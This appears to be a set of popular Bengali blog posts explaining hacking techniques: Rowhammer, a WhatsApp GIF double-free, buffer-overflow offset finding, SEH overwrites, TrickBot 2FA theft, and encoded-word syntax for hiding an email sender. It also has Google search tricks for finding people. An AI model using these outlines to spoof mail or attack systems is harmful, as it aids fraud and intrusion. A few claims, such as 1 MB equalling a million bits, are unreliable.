এখানে ওয়েবসাইটের প্রোগ্রাম দেখবে- আমি ইমেইল verify করার লিংকে ক্লিক করেছি। ফলে, ওয়েবসাইটকে দেওয়া আমার ইমেইল verify হয়ে যাবে। কিন্তু, আমি একই সময়ে ইমেইল পরিবর্তন করার লিংকেও ক্লিক করেছি। ফলে, ইমেইল verify হবে ঠিকই, কিন্তু আগের ইমেইলের জায়গায় নতুন ইমেইল verify হবে। অথচ, সেই ইমেইল তো আমার না। তাই, এভাবে যেকোন ব্যক্তির ইমেইল এড্রেস দিয়ে একাউন্ট create করা যাবে এবং একাউন্ট ব্যাবহার করে কোন অপরাধ করলে, অপরাধের দোষ হবে ইমেইল এড্রেসের মূল মালিকের!

Row hammer - কম্পিউটারে হাতুর

হার্ডওয়্যার হ্যাকিং এর মধ্যে আকর্ষণীয় পদ্ধতি হচ্ছে Rowhammer আক্রমণ। এই আক্রমণে কম্পিউটারের র‍্যাম এর মধ্যে হাতুর পেটা করতে হয়। তবে, সত্যি সত্যি হাতুর দিয়ে পেটানোর কথা বলছি না। নিচের লেখাটুকু পড়ুন- তাহলেই স্পষ্ট ধারণা পেয়ে যাবেন।

Row hammer আক্রমণ

আপনি নিশ্চয়ই জানেন- মেমোরিতে থাকা data হচ্ছে বৈদ্যুতিক সিগন্যাল। তো, কম্পিউটারের RAM এর ওপর দেখতে পারবেন- কালো রং এর চার কোণা কিছু bank রয়েছে। এগুলোর মধ্যে data সারিবদ্ধ হয়ে (*row হিসেবে*) থাকে। এখন কেউ যদি একটি row তে থাকা data বারবার access করতে থাকে তাহলে, একটি সময় সেই row বা, সারির আশেপাশের row এর বৈদ্যুতিক data পরিবর্তন হয়ে যাবে।

যেমন- Windows কম্পিউটারে সাধারণ app এর জন্য মেমোরির নির্দিষ্ট সীমানা থাকে আর, কার্নেলের জন্য kernel memory হিসেবে নির্দিষ্ট সীমানা থাকে। এই কার্নেল হচ্ছে কম্পিউটারের সর্বোচ্চ ক্ষমতার অধিকারী একটি প্রোগ্রাম। এখন ধরুন- একটি app নিজের সীমানার data এক্সেস করতে পারলেও কার্নেলের সীমানার (অধিক ক্ষমতার) কিছু সরাসরি

access করতে পারবে না। কিন্তু, app এর data গুলো মেমোরির যেই row তে আছে, সেখানে বারবার access করার মাধ্যমে বৈদ্যুতিক চার্জের মাধ্যমে কার্নেলের সীমানার data পরিবর্তন করা সম্ভব হতে পারে। এছাড়া, আক্রমণকারী ব্যক্তি কম্পিউটারের অনেক sensitive তথ্য হাঁতিয়ে নিতেও সক্ষম হতে পারে।

আবার, এন্ড্রয়েড মোবাইল হলে মোবাইলের root access নেওয়াও সম্ভব হয়। মোবাইলের ক্ষেত্রে **Drammer** আক্রমণ (*Deterministic Rowhammer*) করা হয়ে থাকে। কম্পিউটারের সাথে USB তার দিয়ে মোবাইল সংযুক্ত করেই এটা করা সম্ভব।

পদ্ধতি হচ্ছে- আপনি র‍্যাম (RAM) এর যেই ২ টি row তে বারবার access করবেন, সেই স্থানের memory address জেনে নিয়ে আক্রমণ করতে হবে। অর্থাৎ, আপনি বারবার সেখানে access করবেন (যার মানে হচ্ছে- সেখানে বারবার বৈদ্যুতিক সিগন্যাল যাবে)। এখন আপনার ৩য় কাজ হচ্ছে- যেখানে আক্রমণ করছেন, তার আশেপাশের row বা, সারির প্রতি নজর রাখা। RAM এর vulnerability থাকলে, একসময় সেখানের data পরিবর্তন হয়ে যাবে এবং আপনি পেয়ে যাবেন কাঙ্ক্ষিত সাফল্য।

বর্তমানে লিনাক্স কম্পিউটারে কিছু ফ্রি সফটওয়্যার ব্যাবহার করে এই আক্রমণ করা অনেকটাই সম্ভব। এমনকি, আপনার ডিভাইসের সরাসরি

access না পেলেও, দুরে থেকেই **Javascript** এর মাধ্যমে এই Rowhammer আক্রমণ করা সম্ভব। তাই, সাবধান থাকুন।

Facebook - Whatsapp হ্যাক

Facebook হ্যাকিং এর জন্য আব্দুল রিজা নামক হ্যাকার প্রায় ৪৬ লাখ টাকা পুরস্কার পেয়েছেন। সেই সাথে আরেকজন হ্যাকার GIF পাঠিয়ে Whatsapp ব্যাবহারকারীর মোবাইলের ওপর control নিতে সক্ষম হয়েছিলেন। উভয় পদ্ধতিই আজকে সহজভাবে ব্যাখ্যা করবো।

Facebook হ্যাকিং

Facebook হ্যাকিং এর পদ্ধতিটি ছিলো এই যে, হ্যাকার **TheFacebook** নামক একটি ওয়েব এপ্লিকেশনের সন্ধান পান। সেখানে SavePassword নামের একটি page ছিলো, যেখানে তিনি ফেসবুক একাউন্টের user name অনুমান করে সেই user name এর পাসওয়ার্ড পরিবর্তন করতে সক্ষম হয়েছিলেন।

Whatsapp হ্যাকিং

আপনি যখন Whatsapp ব্যাবহার করে কারও সাথে chatting করেন, তখন emoji, GIF ইত্যাদি অনেক কিছুই send করতে পারেন। এই GIF পাঠানোর মাধ্যমেই হ্যাকার আপনার মোবাইলের ওপর control

নিতে পারতো।

GIF হচ্ছে বেশকিছু ছবির সমন্বয়, যেগুলো একের পর এক আসতে থাকায় video -র মতো দেখা যায়। এই ছবিগুলোর size হয় নিচের মতো-

> 1220×800

এখানে 800 হচ্ছে দৈর্ঘ এবং 1220 হচ্ছে প্রস্থ। শুরুতে GIF এর প্রথম ছবিটি মোবাইলের মেমোরিতে নির্দিষ্ট পরিমাণ জায়গা allocate বা, দখল করে নেয়। সেই জায়গাতেই পরবর্তী ছবিগুলো আসতে থাকে এবং ভিডিওর মতো play হতে থাকে। কিন্তু, বর্তমান ছবির তুলনায় যদি পরবর্তী ছবির size বেশি হয়, তাহলে বর্তমান ছবিটি মেমোরির যেই স্থান দখল করে আছে- সেই স্থানের দখল ছেড়ে দিবে (জায়গাটি free করবে) এবং পরবর্তী ছবিটি মেমোরিতে নতুন করে জায়গা allocate করবে বা, দখল করবে। এটাকে **reallocate** বলা হয়।

কিন্তু, সমস্যা হচ্ছে- বর্তমান ছবির তুলনায় নতুন ছবির দৈর্ঘ্য বা প্রস্থের যেকোন একটি বড় হলেই নতুন করে এই reallocate করা হবে।

তাই, বর্তমান ছবির size যদি 3×3 হয়

আর, পরবর্তী ছবির size যদি 5×0 হয়, তাহলেও মেমোরিতে নতুন করে

জায়গা দখল করা হবে।

অথচ, 5×0 হচ্ছে 0 বা, শূন্য। ফলে, বর্তমান ছবিটি মেমোরিতে যেই 3×3 পরিমাণ জায়গা দখল করে আছে, সেই জায়গাটি free হয়ে যাবে; কিন্তু, পরবর্তী ছবির size যেহেতু 5×0 বা, শূন্য; তাই, নতুন কোন জায়গা দখল করা হবে না। আর, Whatsapp দিয়ে send করা GIF দুই বার parse হয়। ফলে, এই ক্ষেত্রে প্রথম parse এর সময় 5×0 সাইজের কারনে মেমোরির নির্দিষ্ট অংশ (buffer) ২ বার শুধু free হচ্ছে ফলে, পরবর্তী parse এর সময় মেমোরির নির্দিষ্ট কিছু কারনে হ্যাকার মেমোরির মধ্যে ক্ষতিকর code লিখতে সম্ভব হবে। অনেকের বুঝতে অসুবিধা হবে তাই, বিস্তারিত বলছি না। তবে, এই ত্রুটি Whatsapp এর ছিলো না বরং, android এর সাথে সম্পর্কিত ছিলো। তাই, Whatsapp থেকে তিনি কোন পুরস্কার পান নি।

আজকে যেই ২ জন হ্যাকারের কথা জানলেন, তাদের মতো অনেক হ্যাকার আছেন, যারা ক্ষতি করার জন্য না বরং, নিরাপদ রাখার জন্য কাজ করেন। তাদের সততা থেকেই আগামী প্রজন্ম শিক্ষা নিবে- সেই আশায় আমার লেখা এখানেই সমাপ্ত করছি। ধন্যবাদ।

২০২১ সালের আগের কথা...

হ্যাকারদের প্রিয় সংখ্যা

1,094,795,585

একদিন আপনাদেরকে বলেছিলাম- হ্যাকারদের প্রিয় সংখ্যা 1,094,795,585। আপনারা এর কারন জানতে চেয়েছিলেন। আজকে উত্তর জানাবো।

আপনি নিশ্চয়ই স্কুলে শিখেছেন যে, আমরা যেই 0, 1, 2, 3 সংখ্যা গণনা করি, সেগুলো হচ্ছে decimal সংখ্যা। আবার, কম্পিউটার শুধুমাত্র 0 এবং 1 ব্যাবহার করে, যেটাকে বলা হয় binary সংখ্যা। আরেক প্রকারের সংখ্যা আছে, সেটা হচ্ছে hexadecimal সংখ্যা।

হ্যাকারদের কাছে যেই decimal সংখ্যাটি প্রিয়, সেটা হচ্ছে- 1,094,795,585।

সংখ্যাটি প্রিয় হওয়ার কারন

আপনি যদি নিয়মিত সাইবার সোসাইটি গ্রুপের লেখা পড়ে থাকেন তাহলে, নিশ্চয়ই জানেন- গত পরশু আমি buffer overflow সম্বন্ধে post

করেছিলাম। সেখানে বলেছিলাম- "কম্পিউটার একটি কাজ সম্পন্ন করার পর ২য় কাজ করার জন্য সেই কাজের ঠিকানা বা, address টি CPU এর EIP নামক রেজিস্টার থেকে সংগ্রহ করে। আর, সফটওয়্যারে পাসওয়ার্ড বা, অন্যকিছু লিখে input দেওয়ার সময় সেই input এর সাথে যদি ম্যালওয়্যার লিখে পাঠানো যায় এবং EIP রেজিস্টারে সেই ম্যালওয়্যারের ঠিকানা লিখে দেওয়া যায়, তাহলে কম্পিউটার সেই ম্যালওয়্যারকেই run করবে।"

কিন্তু, একজন হ্যাকার কিভাবে বুঝবে- পাসওয়ার্ডের সাথে লেখা ম্যালওয়্যারের কোন্ অংশটি EIP তে যাবে?

এটা নির্ণয় করার জন্য হ্যাকার সেই ম্যালওয়্যারের একটি অংশে **AAAA** লিখে রাখে। আর, একটি সফটওয়্যার দিয়ে দেখতে থাকে- পাসওয়ার্ড লিখে পাঠানোর পর EIP তে AAAA লেখাটি পৌঁছেছে কিনা। যদি না পৌঁছে থাকে তাহলে, AAAA লেখাটি অন্য জায়গায় লিখে পাঠায়। এভাবে বারবার চেষ্টা করার পর একসময় EIP রেজিস্টারে AAAA লেখাটি দেখা যাবে। ফলে, হ্যাকার বুঝতে পারবে যে, এইবার AAAA যেখানে লেখা হয়েছে, সেখানেই যদি ম্যালওয়্যারের address লিখে পাঠানো হয়, তাহলে EIP রেজিস্টারে ম্যালওয়্যারের address লেখা হয়ে যাবে। ফলে, কম্পিউটার সেই ম্যালওয়্যারের address থেকে ম্যালওয়্যারকে run করবে।

এক্ষেত্রে হ্যাকার বা, কম্পিউটার সায়েন্সের ছাত্রদের মধ্যে AAAA লিখে

পাঠানো একটি প্রসিদ্ধ রীতি বা, রেওয়াজ হয়ে গিয়েছে। তবে, এই AAAA সংখ্যাটি কম্পিউটারে যাওয়ার সময় ascii encoding পদ্ধতিতে 41414141 হেক্সাডেসিমেল সংখ্যায় রূপান্তরিত হয়ে যাবে। আর, সেই 41414141 হেক্সাডেসিমেল সংখ্যাকে যদি আমাদের সাধারণ সংখ্যা পদ্ধতি ডেসিমেলে রূপান্তরিত করা হয়, তাহলে সেটা হবে 1,094,795,585। হ্যাকারদের প্রিয় সংখ্যা!

ইমেইল এড্রেস গায়েব

সাইবার অপরাধীরা বিভিন্ন কোম্পানির নামে ভুয়া ইমেইল পাঠিয়ে থাকে- এটা সবাই জানেন। কিন্তু, ইমেইল এড্রেসের জায়গায় যদি কোনকিছুই লেখা না থাকে? হ্যাঁ, সাম্প্রতিক সময়ে এরকমটা দেখা গিয়েছে। হ্যাকার কিভাবে এটা করেছে, সেটা নিচে উল্লেখ করা হলো-

একটি ইমেইল open করলে সেই ইমেইল যিনি পাঠিয়েছেন, তার ইমেইল এড্রেস নিচের মতো লেখা থাকে-

From: admin@gmail.com

এই যে আপনি কি-বোর্ড ব্যাবহার করে লিখছেন; এসব লেখা বিভিন্ন encoding ব্যাবহার করে কম্পিউটারে save হয়। কিন্তু, হ্যাকার এখানে একাধিক encoding ব্যাবহার করে নিজের ইমেইল এড্রেস গায়েব করেছে। যদিও, ইমেইল এড্রেসে একাধিক encoding ব্যাবহার করা যায়। কিন্তু, প্রথম encoding পদ্ধতি নিচের মতো লিখে একটি space লিখে অন্য encoding পদ্ধতিতে লিখতে হয়-

=?charset?encoding?encoded-text?=

তাই, ইমেইল এড্রেস macřon tech@gmail.com দিতে চাইলে

লিখতে হবে-

=?UTF-8?Q?mac=C5=99on ?= tech@gmail.com

অর্থাৎ, **?charset?** হিসেবে UTF-8 লিখেছি, **?encoding?** হিসেবে Q লিখেছি, এরপর **macřon** লেখার জন্য প্রথমে ইংরেজিতে mac লিখেছি। তারপর ř লেখার জন্য **=C5=99** লিখেছি। এখানে আরও কিছু নিয়ম মানা হয়েছে কিন্তু, অনেকের বুঝতে কষ্ট হবে তাই, সেগুলো বললাম না।

তো, হ্যাকার তার ইমেইল এড্রেসে এই পদ্ধতি অবলম্বন করলেও মাঝখানে একটি কমা (**,**) লিখেছে। ফলে, কম্পিউটার যখন হ্যাকারের ইমেইল এড্রেস পাবে তখন সেই এড্রেসকে ২ জনের এড্রেস হিসেবে ধরে নিবে। যার ফলে বিশেষ নিয়মের কারনে হ্যাকারের ইমেইল এড্রেসটি গায়েব হয়ে গিয়েছে। অর্থাৎ, যেখানে এড্রেস লেখা থাকে সেখানে কিছুই লেখা নেই।

2 FA কোড হ্যাকারের হাতে

ফেসবুকে login করার সময় পাসওয়ার্ড লিখে পাঠানোর পর আপনার মোবাইলে একটি code আসে। এটাকে 2 FA কোড বলে। অনেকে মনে করে থাকেন- আমার পাসওয়ার্ড হ্যাক হয়ে গেলেও হ্যাকার যেহেতু এই code পাবে না, তাই আমার একাউন্টে login করতে পারবে না। কিন্তু, এই ধারণা অনেকাংশে ভুল। হ্যাকার কিভাবে আপনার 2 FA কোড হাঁতিয়ে নিতে সক্ষম- সেই বিষয়েই আজকে আলোচনা করবো। তবে, আমি কোন কাল্পনিক উদাহরণ দিয়ে প্রমাণ করবো না। বরং, TrickBot নামক ম্যালওয়্যারের বাস্তব উদাহরণ দিবো।

TrickBot ম্যালওয়্যার সাধারণত ব্যাংক একাউন্টকে টার্গেট করে থাকে। TrickBot দ্বারা আক্রান্ত কম্পিউটারে XML টাইপের একটি file থাকে। এর মধ্যে কিছু ব্যাংক ওয়েবসাইটের লিংক, IP এড্রেস এবং webinject type লেখা থাকে। এসব ওয়েবসাইটের কোন একটিতে প্রবেশ করতে গেলে TrickBot সেই ওয়েবসাইটের মতো দেখতে নকল ওয়েবসাইটে প্রবেশ করিয়ে দিবে। তখন হ্যাকারের কাছে আপনার ব্যাপারে একটি notification যাবে এবং আপনাকে login করতে বলা হবে। আপনি যখন পাসওয়ার্ড লিখে login -এ ক্লিক করবেন, তখন আপনার পাসওয়ার্ড চলে যাবে হ্যাকারের কাছে। সেই পাসওয়ার্ড দিয়ে হ্যাকার যখন আপনার ব্যাংক একাউন্টে login করতে চাইবে, তখন আপনার মোবাইলে একটি 2 FA কোড আসবে। হ্যাকারের নকল ওয়েবসাইটে আপনার কাছে সেই

code লিখতে বলবে। আপনি লেখার সাথে সাথেই সেই code চলে যাবে হ্যাকারের কাছে। এরপর হ্যাকার সেই code লিখে আপনার ব্যাংক একাউন্টে login করবে এবং আপনার একাউন্ট থেকে তার নিজের একাউন্টে টাকা পাঠিয়ে দিবে।

এসকল নকল ওয়েবসাইটের লিংকে আসল ওয়েবসাইটের-ই লিংক লেখা থাকে। তাই, সহজে কোন পার্থক্য খুঁজে পাওয়া যায় না। তবে, সাইবার সিকিউরিটি স্পেশালিষ্টগণ কিছু analysis করে পার্থক্য বের করতে পারবেন। তাই, সাবধান থাকুন। আর, আপনার যদি অনলাইন ভিত্তিক কোম্পানি থাকে তাহলে সেখানে অবশ্যই একজন সাইবার সিকিউরিটি স্পেশালিষ্টকে রাখুন। ধন্যবাদ।

Error দিয়ে হ্যাকিং

কেমন হবে- যদি error দিয়ে হ্যাক করা হয়?

একটি সফটওয়্যারে error দেখা দিতেই পারে। এজন্য প্রায় সকল সফটওয়্যারে EH (error handler) নামক প্রোগ্রাম থাকে; যার কাজ হচ্ছে- error সামলানো। কিন্তু, যদি এমন error দেখা দেয়- যেটা সামলানোর মতো প্রোগ্রাম EH এর মধ্যে নেই; তখন Windows কম্পিউটারের SEH নামক প্রোগ্রাম সেই error সামলানোর কাজ করে। এই SEH হ্যাক করলেই কম্পিউটার কাজ করবে হ্যাকারের নির্দেশে।

শুরুতে আপনাকে যা জানতে হবে

কম্পিউটারে যতো data (ছবি, ভিডিও ইত্যাদি) আছে, সেগুলো কম্পিউটারের কাছে শুধুই **0** এবং **1** বাইনারি সংখ্যা। কম্পিউটারে থাকা এসব সংখ্যাকে bit বলে আর, ৮ টি bit মিলে হয় 1 byte। যেমন- নিচে 8 bit মিলে হয়েছে 1 byte।

> 01001101

আপনি মোবাইলে 1 MB ইন্টারনেট ব্যাল্যান্স কিনছেন মানে- আপনি ১

মিলিয়ন bit পরিমাণ data আদান-প্রদান করতে পারবেন।

মূল আলোচনা

এখন error দিয়ে হ্যাক করার আলোচনায় আসা যাক। উপরের আলোচনা বুঝে থাকলে পরবর্তী আলোচনাও বুঝতে পারবেন।

RAM এর প্রত্যেক স্থানের একটি address থাকে, যেটা স্কুলের রোল নম্বরের মতো সংখ্যা দিয়ে প্রকাশ করা হয়। আর, কম্পিউটারে আপনি যতো কাজ করেন, সেগুলো RAM এর এসব address -এ থাকে। সফটওয়্যারের error গুলোও RAM এর এসব address -এ থাকে। আর, উপরে বলেই দিয়েছি যে, error কে সামলানোর কাজ করে **SEH**। এই **SEH** এর মধ্যে চেইন আকারে একের পর এক 8 Byte এর কিছু element (প্রোগ্রাম) থাকে, যার প্রথম 4 Byte -এ লেখা থাকে পরবর্তী element এর address pointer আর, পরের 4 Byte -এ লেখা থাকে বর্তমান handler এর ঠিকানা। কম্পিউটার এখানে যেই address লেখা পাবে, সেই address এর প্রোগাম run করবে। তাই, হ্যাকার যদি এই address পরিবর্তন করে কোন ম্যালওয়্যারের address লিখে দেয়, তাহলেই কম্পিউটার সেই ম্যালওয়্যারকে run করবে এবং হ্যাকারের নির্দেশনা পালন করা শুরু করবে!

হার্ডওয়্যার হ্যাকিং

হার্ডওয়্যার হ্যাকিং অনেক আকর্ষণীয় একটি টপিক। বেশ কয়েক বছর আগে MIT তে চাকরিরত একজন ব্যক্তি কম্পিউটারের নষ্ট কি-বোর্ড মেরামত করতে দিয়েছিলেন। কি-বোর্ড ঠিক করে আনার পর যখন তিনি কম্পিউটার ব্যাবহার করছিলেন তখন কম্পিউটারে হঠাত একটি লেখা দেখতে পেলেন-

ভাল্লুক cookie চাচ্ছে। না দিলে কম্পিউটার বন্ধ হয়ে যাবে।

তিনি বুঝে উঠতে পারছিলেন না যে, কোথায় cookie দিতে বলা হচ্ছে। ফলে, কিছুক্ষণ পরেই কম্পিউটার restart হওয়া শুরু করে। এভাবে প্রতিদিনই লেখাটি আসতো আর কম্পিউটার restart হতো। এরপর একদিন যখন এই লেখা আসলো, তখন তিনি বুদ্ধি করে কম্পিউটারে **cookie** শব্দটি লিখলেন। আর, আশ্চর্যজনক ভাবে কম্পিউটার restart হওয়া বন্ধ হয়ে যায়। পরবর্তীতে একজন তাকে গোপনে message পাঠিয়ে জানায়- "যেখানে কি-বোর্ড মেরামত করতে দেওয়া হয়েছিলো, সেখানেই কেউ একজন কি-বোর্ডের firmware পরিবর্তন করে দিয়েছিলো"। এটাই হার্ডওয়্যার হ্যাকিং।

আপনার কম্পিউটারের কি-বোর্ড, মাউস ইত্যাদি হচ্ছে আলাদা আলাদা কম্পিউটার। কম্পিউটারের CPU ছাড়াও এসব হার্ডওয়্যারের মধ্যে আলাদা

প্রসেসর আছে। আর, এসবের মধ্যে firmware নামক কিছু প্রোগ্রাম থাকে, যেটার নির্দেশনা অনুযায়ী হার্ডওয়্যার কাজ করে। এখন কেউ যদি firmware প্রোগ্রাম সম্বন্ধে জ্ঞান রাখেন, তাহলেই তিনি বিভিন্ন সফটওয়্যার ব্যাবহার করে firmware পরিবর্তন করে দিতে সক্ষম।

এছাড়া, আপনার মোবাইল নামক কম্পিউটারের মধ্যেও কিন্তু আরেকটি কম্পিউটার আছে। সেই দ্বিতীয় কম্পিউটার হচ্ছে- সিম কার্ড। এই সিম কার্ড যেই encryption পদ্ধতি ব্যাবহার করে, সেটার key হ্যাক করা বেশ কঠিন। কিন্তু, সিম কার্ড এবং মোবাইলের মাঝপথে যদি বিশেষ তার (cable) যুক্ত করা হয়- যেই তার সবকিছু রেকর্ড করবে, তাহলেই কিন্তু Wireshark এর মতো সফটওয়্যার ব্যাবহার করে সিম কার্ড এবং মোবাইলের মধ্যকার GSM প্রটোকলের communication দেখা সম্ভব। আর, কম্পিউটারের BIOS ব্যাটারি খুলে BIOS পাসওয়ার্ড পরিবর্তন করা সম্বন্ধে তো আপনারা অনেকেই জানেন।

সব মিলিয়ে হার্ডওয়্যার হ্যাকিং অনেক আকর্ষণীয় একটি টপিক। কিন্তু, সেই আকর্ষণীয় টপিকের ওপর জ্ঞান অর্জন করতে চাইলে অনেক অনেক পড়ালেখা করতে হয়। কম্পিউটার কিভাবে গঠিত, কিভাবে কাজ করে এসব জানতে হয়। কারন, যিনি তৈরি করতে পারবেন, তিনি ভাঙতেও পারবেন।

এসব VPN ব্যাবহার করবেন না

আপনার ব্রাউজারে incognito mode ব্যাবহার করলে আপনার মোবাইল/কম্পিউটারে কোন history থাকবে না। কিন্তু, আপনার ইন্টারনেট প্রোভাইডার (ISP) ঠিকই জানবে- আপনি কোন কোন ওয়েবসাইটে কি কি করছেন। এজন্য VPN ব্যাবহার করা হয়। VPN ব্যাবহার করলে আপনার ইন্টারনেট প্রোভাইডার এসব জানতে পারবে না। কিন্তু, ৫ টি দেশ যথা- US, UK, Australia, New Zealand এবং Canada মিলে **Five Eyes** নামের একটি জোট করেছে। তাদের দেশের VPN কোম্পানিগুলো সাধারণ মানুষের নির্দিষ্ট কিছু তথ্য **Five Eyes** -কে দিতে বাধ্য। এমনকি এসব দেশের সাথে আরও কিছু দেশ যুক্ত হয়ে **Nine Eyes** এবং **14 Eyes** গঠন করেছে। তাই, এসব দেশের VPN ব্যাবহার করা থেকে বিরত থাকা উচিত।

ফেসবুকে হারানো বন্ধুকে খোঁজা

ছোটবেলায় আমাদের সবারই অনেক বন্ধু ছিলো। কিন্তু, তখন ফেসবুক তো ছিলোই না, সেই সাথে মোবাইলেরও তেমন প্রচলন ছিলো না। এরপর হয়তো আপনার বন্ধুকে ছেড়ে বাবা-মায়ের সাথে দুরে কোথাও চলে এসেছেন। হতে পারে, আপনার সেই বন্ধুর ফেসবুক একাউন্ট আছে। সেই একাউন্ট খুঁজে পেলেই প্রিয় বন্ধুর সাথে আবার কথা বলতে পারবেন। বন্ধুকে খুঁজতে নিচের কিছু পদ্ধতি অবলম্বন করতে পারেন-

প্রথমেই নিচের লেখা লিখে Google সার্চ করুন-

site:facebook.com inurl:NAME

উপরের NAME এর জায়গায় আপনার বন্ধুর নাম লিখবেন। এটি সার্চ দিলে আপনার বন্ধুর নামের অনেক ফেসবুক একাউন্ট আসবে। Photos এ গিয়ে দেখুন- আপনার বন্ধুর ছবি দেখতে পান কিনা? যদি খুব বেশি একাউন্ট চলে আসে এবং আপনার বন্ধুর একাউন্ট খুঁজে না পান তাহলে নিচের পদ্ধতি অবলম্বন করুন।

আরও নিখুঁতভাবে খুঁজে পেতে নিচের লেখা লিখে Google সার্চ করুন-

inurl:NAME site:facebook.com CT SC

উপরের NAME এর জায়গায় আপনার বন্ধুর নাম, CT এর জায়গায় বন্ধুর এলাকা/শহরের নাম, SC এর জায়গায় আপনার বন্ধুর স্কুলের নাম লিখে সার্চ করুন। এরপর আশা করা যায় আপনার বন্ধুর ফেসবুক একাউন্ট থাকলে অবশ্যই পেয়ে যাবেন।

তবে, আপনার বন্ধু যদি ফেসবুক Settings থেকে গুগল সার্চে তার একাউন্ট দেখানোর অপশন off করে রাখে তাহলে, কোন ওয়েব ব্রাউজারে সার্চ করেই তার একাউন্ট পাবেন না।

সেক্ষেত্রে, ফেসবুকে সার্চ করে দেখতে হবে যেমন-

* আপনার বন্ধুর শহর, স্কুল ইত্যাদির নামে যেসব ফেসবুক গ্রুপ আছে সেগুলোর member list এ আপনার বন্ধুর একাউন্ট পেতে পারেন।

আর, আপনার বন্ধু যদি লেখাপড়া বা, চাকরির কারণে বর্তমানে চীনে বসবাস করে, তাহলে তো তার ফেসবুক একাউন্টই থাকবে না। কারণ, চীনে ফেসবুক ব্যাবহার করা যায় না। তবুও চেষ্টা করে দেখতে ভুলবেন না।

বন্ধু মানেই শক্তি। হারানো বন্ধুদের উদ্দেশ্যে বলতে চাই, "আবার যদি তোদের দেখা পেতাম, আর কোনদিন হারাতে দিতাম না!"

সাইবার জগতের অদ্ভুত তথ্য

ফ্রি ওয়েবসাইট

১৯৯৫ সালের আগে আপনি চাইলে ফ্রিতে ওয়েবসাইটের নাম রেজিস্টার করতে পারতেন। তাই, তখন চাইলে আপনি ফ্রিতে Facebook নামের ওয়েবসাইটের মালিক হতে পারতেন!

Firefox ব্রাউজারে পান্ডা

Firefox এর fox মানে শিয়াল। কিন্তু, Firefox ব্রাউজারের logo তে শিয়ালের মতো যেই ছবি দেখা যায়, সেটা আসলে শিয়াল না। বরং, একটি লাল পান্ডা। বিশ্বাস না হলে Firefox এর উত্তর দেখতে পারেন-

https://www-archive.mozilla.org/projects/firefox/firefox-name-faq.html

www | ww7

ওয়েবসাইটের শুরুতে www থাকলেও কিছু কিছু ওয়েবসাইটের শুরুতে ww1, ww2 ইত্যাদি দেখতে পাবেন। আপনারা কেউ দেখে থাকলে comment করে জানাবেন।

ফ্রি GPS এর খরচ

আপনি ফ্রিতে GPS ব্যাবহার করলেও GPS পরিচালনা করতে প্রতিদিন প্রায় মিলিয়ন ডলার খরচ হয়। ২০২০ সালে GPS এর জন্য তৎকালীন প্রেসিডেন্ট Trump ১.৭ বিলিয়ন ডলার বরাদ্দ করেন। নিচের লিংকে দেখতে পারেন-

https://www.gps.gov/policy/funding/2020/#dod-approps

মোবাইল বনাম টয়লেট

এক গবেষণায় দেখা যায়- সারাবিশ্বে মোবাইল আছে ৬ বিলিয়ন অথচ, সারাবিশ্বে টয়লেট আছে ৪.৫ বিলিয়ন। একটু আগের দিনে ফিরে গেলে দেখা যাবে- রেডিও ব্যাবহারকারীর সংখ্যা মাত্র ০.৫ মিলিয়ন হতেই সময় লেগেছিলো ৩৮ বছর! অথচ মোবাইল, কম্পিউটারের সংখ্যা কতো দ্রুত বেড়ে চলেছে!

লিংকের শুরুতে href.li থাকলে ভাইরাস?

মনে করুন- আপনার একটি ওয়েবসাইট আছে। আপনার ওয়েবসাইটে ফেসবুকের একটি লিংক লিখে রেখেছেন। এখন কেউ যদি সেই লিংকে ক্লিক করে তাহলে তিনি ফেসবুকে চলে যাবেন। তবে, সেই সাথে ব্রাউজারের HTTP Header এর referrer থেকে ফেসবুক জেনে যাবে যে, আপনার ওয়েবসাইটে থাকা লিংকে ক্লিক করেই সেই ব্যক্তি ফেসবুকে প্রবেশ করেছে।

কিন্তু, আপনি হয়তো চাইবেন না যে, আপনার ওয়েবসাইটে থাকা লিংকে ক্লিক করে মানুষ যখন কোন ওয়েবসাইটে যাবে তখন সেই ওয়েবসাইটের মালিক সেটা জানুক। এই উদ্দেশ্য নিয়েই href.li ব্যাবহার করা হয়। আসলে এটি হচ্ছে একটি ওয়েবসাইটের লিংক। সেই ওয়েবসাইটে গিয়ে আপনি যেকোন লিংক লিখে **Hide the referrer **এ ক্লিক করলে href.li যুক্ত লিংক পেয়ে যাবেন। যেমনঃ ফেসবুকের মূল লিংক হচ্ছে-

https://www.facebook.com

কিন্তু, href.li ব্যাবহার করলে লিংকটি হবে-

https://href.li/?https://www.facebook.com

এখন href.li যুক্ত লিংকে ক্লিক করে কোন ওয়েবসাইটে গেলে ওয়েবসাইটের মালিক বুঝতে পারবে না যে, আপনার ওয়েবসাইট থেকেই তার ওয়েবসাইটে প্রবেশ করা হয়েছে। অনেক ব্রাউজারে যদিও https ওয়েবসাইটে এমনিতেই এটা জানা যায় না। তবে, href.li যুক্ত লিংক ব্যাবহার করলে বেশি নিশ্চিত থাকা যায়।

আর, অনেক সময় হ্যাকাররা ক্ষতিকর ওয়েবসাইটের লিংকের শুরুতে href.li ব্যাবহার করে। তাই, ক্লিক করার আগে লিংকটি ভালো করে দেখে নিন। আরও ভালো হবে যদি href.li এর পরের অংশে থাকা মূল লিংক copy করে, সেই লিংক ব্রাউজারে লিখে সরাসরি ওয়েবসাইটে যাওয়া হয়। ধন্যবাদ।

হারানো ফোন খুঁজে পাওয়ার উপায়

আমাদের অনেকেরই ফোন হারিয়ে যাওয়ার অভিজ্ঞতা রয়েছে। এবং অধিকাংশ ক্ষেত্রে ফোন হারিয়ে গেলে তা ফিরে পাওয়ার আশা আমরা ছেড়েই দেই। কিন্তু গুগল আপনার হারানো ফোনের হদিস বের করার উপায় বের করেছে। গুগলের এই সার্ভিস পাওয়ার জন্য ফোন আপনার ফোনের কিছু অপশন চালু রাখতে হবে।

আপনার এন্ড্রয়েড সেটটি এই মুহূর্তে কোথায় আছে এটা জানার জন্য নিচের পদ্ধতি অনুসরণ করুন –

প্রথমে https://android.com/find এই লিঙ্কে প্রবেশ করুন এবং আপনার গুগল একাউন্টে সাইন ইন করুন।

আপনার একাধিক ফোন থাকলে স্ক্রিনের উপরের লস্ট ফোন বাটনে ক্লিক করুন।

আপনার হারিয়ে ফোনে একাধিক ইউজার প্রোফাইল থাকলে আপনার মুল প্রোফাইলের গুগল একাউন্টে সাইন ইন করুন।

আপনার হারিয়ে যাওয়া ফোনটিতে একটি নোটিফিকেশন পৌঁছাবে।

এছাড়াও আপনার ফোন গুগলের সাথে লিঙ্ক করা থাকলে google.com এ গিয়ে find my phone দিয়ে সার্চ করে ফোনটি খুঁজে বের করতে বা রিমোটলি ফোনের রিং অন করতে পারবেন।

